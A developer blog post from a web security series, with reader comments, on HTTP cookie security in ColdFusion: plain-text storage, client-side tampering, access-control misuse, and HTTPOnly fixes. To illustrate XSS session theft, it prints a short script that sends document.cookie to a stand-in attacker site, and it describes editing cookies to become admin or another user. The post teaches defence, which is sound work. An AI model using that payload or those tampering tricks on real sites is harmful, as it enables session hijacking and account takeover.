mmmmMMmmmmmmm Cookies - Security Series #12

Who doesn't love cookies, right? They are delicious little morsels of fatty, sugary goodness that help keep me squishy. But, of course, you know I am not talking about Toll House or Chips Ahoy. I'm talking about HTTP cookies.

Understanding Cookies

So most of us know what cookies are. They are small bits of text information sent back and forth between the server and the browser. Cookies can be used for a number of reasons. But the most important reason for using cookies it to maintain session state. If you don't know how this is done, you can read more about session management and cookies here.

There is a lot more to cookie security than is immediately apparent, so we'll see how many posts this discussion takes. The important thing to know is that cookie security is very important and if not handled properly, you could be opening the door to session hijackers, XSS attacks, and the compromise of sensitive information.

So why is cookie security so important?

Cookies can be used for a lot of things. For some of those things, like Session Management, keeping your users' session tokens secure is the only thing keeping them from getting their accounts hijacked.

Cookie security is also important because improperly handled cookie values can be easily intercepted.

Cookies are also misused. Some types of information should not be stored in cookies, yet I am constantly seeing it done. Security information, access control parameters, passwords, etc. Part of cookie security is knowing what type of information is appropriate for cookies, and what isn't.

So what makes cookies vulnerable?

There are several things that make cookies a security risk if improperly handled.

  • Cookies are store in plain text
  • Cookies are transmitted in plain text (Unless using SSL)
  • Some cookies persist on the users' machines, even after they close the browser (think public machines)
  • If not handled correctly, cookies could be submitted to web servers other than the one you intend
  • Cookies can be manipulated by the end user
  • Cookie values can be accessed by malicious Javascript through XSS attacks
  • Developers put stupid things into cookies

So let's look at some of these issues

Developers do stupid things

So let's get this one out of the way. I'll start with a story.

When I first started in Web Development, my mentor was a 10 year Web Development veteran. He made it quite clear that when it came to web development, he was the cock-of-the-walk. I had no reason not to believe him. I was a complete n00b. So he taught me all sorts of seemingly easy web security tricks.

Some of the things I have seen include:

  • Storing the UserID/CustID in the cookie to validate identity
  • Using values like cookie.isLoggdIn to determine if a user is logged in
  • Using cookies to control access (i.e. cookie.role="admin")

All of this seemed fine to me as a n00b. Then I found out that cookies could be edited by the end user. Very bad. I started to play around and realized that I could do things like:

  • Change the value of cookie.isLoggedIn to "true" and be instantly logged into the site
  • Change my cookie.custID and suddenly be logged in as a different user
  • Change cookie.role to "Admin", and be an admin

So remember, cookies are not the best place for certain things, in this case, access control. Just like you should not trust JavaScript for form field validation because it is controlled by the client and can be bypassed, you should not trust cookies for access control information. They too are controlled by the client and can be bypassed.

Accessing Cookies with Javascript

Cross-site scripting attacks can be used to access cookie information via JavaScript and send it to a malicious site. If your users' session tokens can be accessed via JavaScript, then your applications are open to session hijacking via XSS attacks. Here's how it works:

If a hacker is able to inject a little bit of code somewhere in your site (how does not matter, read more about the methods here) then that code can be used to send your cookies to a malicious site.


<script type="text/javascript">

window.location="http://www.evilbadwickedsite.com?cookie=" + document.cookie;
</script>

And that's it. Your user will be rerouted to the malicious site, and any information in that user's cookie will be appended to the URL, including the user's session token.

So what can we do about it?

Well, of course, the first thing to do is make sure that you are protected from Cross-Site Scripting attacks. I've discussed that in a previous post, so I will not go into it again. Just remember to use Script Protect(or a similar monitoring tool) and to escape all user generated output.

The second thing you can do is to make cookies inaccessible to JavaScript using the HTTPOnly cookie attribute.

The HTTPOnly attribute was recently added to most of the browsers in use today. When the HTTPOnly flag is set on a cookie, that cookie cannot be accessed via client-side scripting. So our hacker's script above would fail. It would still perform the redirect, but the cookie would not be appended to the URL.

NOTE: HTTPOnly cookies can still be sent over XMLHTTPRequest.

SECOND NOTE: HTTPOnly cookies only work with modern browsers, and some of those still have issues, so do not count on it. It should be used as additional protection, not sole protection.

Now, this is one area where ColdFusion falls a little short. There is not option in the <cfcookie> tag for HTTPOnly, so if you want an HTTPOnly cookie, you need to set it using <cfheader>.


<cfheader name="Set-Cookie" value="cookieName=value;HTTPOnly" />

ColdFusion get's a little more troublesome when you want to do anything to modify your session tokens. I spent the better part of last Friday trying to make CF cooperate with session tokens and security. I finally found a combination that works. I will probably be making a more detailed post on just this topic in the near future, but for now, here is how I was able to make session tokens HTTPOnly:


<cfheader name="Set-Cookie" value="CFID=#session.CFID#;HTTPOnly" />
<cfheader name="Set-Cookie" value="CFTOKEN=#session.CFToken#;HTTPOnly" />

I have a lot more testing to do on this because I am using it in conjunction with the "secure" attribute, which I will be discussing in my next post. I also have not yet had a chance to test this with JSessionID cookies. As I said, I will post more details on these things in the near future.

To be continued

That's all I can take tonight. I am tired and need some sleep. I will continue this post in a couple of days and talk about the "secure" flag, "domain" and "path" attributes, and persistent vs. session-only cookies.

Comments
jonathan's Gravatar I don't use cookies much but I have come across some coldfusion issues with cookies. Our apps are all scanned by web inspect and consistently we get these warnings about cookies (the ones generated by cf for session)

SSL Cookie Not Used
Persistent Cookies

got any ideas?
# Posted By jonathan | 1/6/09 6:41 AM
Jason Dean's Gravatar @jonathan, Yes! Stay tuned for my next post. I will address both of those issues. Or, hit me offline on my contact form if you need some code sooner.
# Posted By Jason Dean | 1/6/09 7:05 AM
jonathan's Gravatar excellent! It's not urgent. Just an outstanding issue that we've never resolved
# Posted By jonathan | 1/6/09 7:11 AM
Eric Hoffman's Gravatar That's exactly what I am abou tto deal with. We need to see if we can make CF's default token cookies go SSL, rather than plain text, or how to work around these issues.
# Posted By Eric Hoffman | 1/6/09 9:35 AM
Tim's Gravatar Your mentor chap sounds like a proper idiot. I question what he was doing for 10 years.

I saw a PHP guy recently using the built-in session management completely wrong, and it all stemmed from not really understanding the underlying use of cookies in the request/response transaction.

So I suppose the rule is use an abstracted session manager if you have one available, but you should still know how cookies actually work over http
# Posted By Tim | 1/7/09 3:12 AM
Andrew's Gravatar Thumbs up!
# Posted By Andrew | 2/23/09 3:53 PM
Sumit's Gravatar How can we access the cookie set by cfheader in the same request?
# Posted By Sumit | 6/11/09 12:45 PM
Jason Dean's Gravatar @Sumit, You cannot. Cookies that are set using cfheader are returned in the HTTP response, so ColdFusion does not know about them until the next request, when they are returned in the request again. From then on you will have access to them.

If all you need are the values out of them, keep in mid, that you JUST set them, so you know what the values are. Is there something specific that you are doing that you need to access the cookie scope on the very first request made to the application, where cookies did not previously exist?
# Posted By Jason Dean | 6/11/09 1:02 PM
Sumit's Gravatar Yes, my application requires that I check for these values on every request. I'm setting few cookie values from a database field and others based on data passed from external link. Nothing sensitive obviously. What I'm trying to avoid is checking a different scope in the first request and then cookie scope from next request onwards. Cookie set by cfcookie tag allows you to do that because it adds the value to cookie scope when it is set.

To avoid making too many code changes, I just created a custom tag called cookie and trying to set the cookie with cfheader tag from the custom tag. This way in my application all I have to do is change all cfcookie to cf_cookie.
# Posted By Sumit | 6/11/09 1:23 PM
Jason Dean's Gravatar @Sumit,

If that is what you need, then you should use the cfcookie tag. It is is not sensitive data (like a session token) then it may not need to be protected by HTTPOnly anyway, because if you use <cfcookie> then you cannot makeit an HTTPOnly cookie.
# Posted By Jason Dean | 6/11/09 1:39 PM
hrjk's Gravatar Hi Sumit, i'm also trying to access the cookie set by cfheader in the same request. Were you able to get it working?
# Posted By hrjk | 1/19/10 2:40 PM
Sumit Verma's Gravatar @hrjk

No, there is no way [that I know of] to access the cookie set by cfheader in the same request. You should be able to access it through JS but not CF.

The good news is CF9 has httpOnly attribute for cfcookie.
# Posted By Sumit Verma | 1/20/10 9:10 AM
Henry Ho's Gravatar Hi Jason, at your last meetup you said you couldn't find a clean workaround for enableing HttpOnly for JESESIONID, here it is! :)

http://www.petefreitag.com/item/740.cfm
# Posted By Henry Ho | 2/8/10 1:52 PM
Jason Dean's Gravatar Thanks Henry,

I've actually known about that way of doing it for some time and it works, but there are a couple of major drawbacks.

1. This will change the session tokens for every application on the server, so it's all or nothing.

2. This also means that your web application must use SSL 100% of the time to maintain a session. You cannot programatically switch between SSL and non-SSL.

For some applications these restrictions might not be a problem. But I think for most, it would be an issue.

Thanks for thinking of me though.
# Posted By Jason Dean | 2/8/10 2:40 PM
Henry Ho's Gravatar Great, those are all valid concerns, would you pls add them on a comment at that post?
# Posted By Henry Ho | 2/8/10 3:33 PM
rwyland's Gravatar @Henry @Jason
It may be a bit late, but I found this to be very useful on setting up a J2EE cookie from JRUN.

http://livedocs.adobe.com/jrun/4/Programmers_Guide...

I was using your implementation in the post above and was getting a lot of issues with chrome and firefox not accepting the new cookie. As soon as I dug into it enough, I realized that instead of replacing the cookie in the App.cfc, I could simply "edit" it in JRUN by using the settings found in my link:

<cookie-config>
<cookie-secure>true</cookie-secure>
<cookie-path>/;HttpOnly</cookie-path>
</cookie-config>

Your tutorials are really great! Taught me everything I needed to know about sessions and cookies in CF! Thanks!
# Posted By rwyland | 7/27/10 4:59 PM
BlogCFC was created by Raymond Camden. This blog is running version 5.9.1. Contact Blog Owner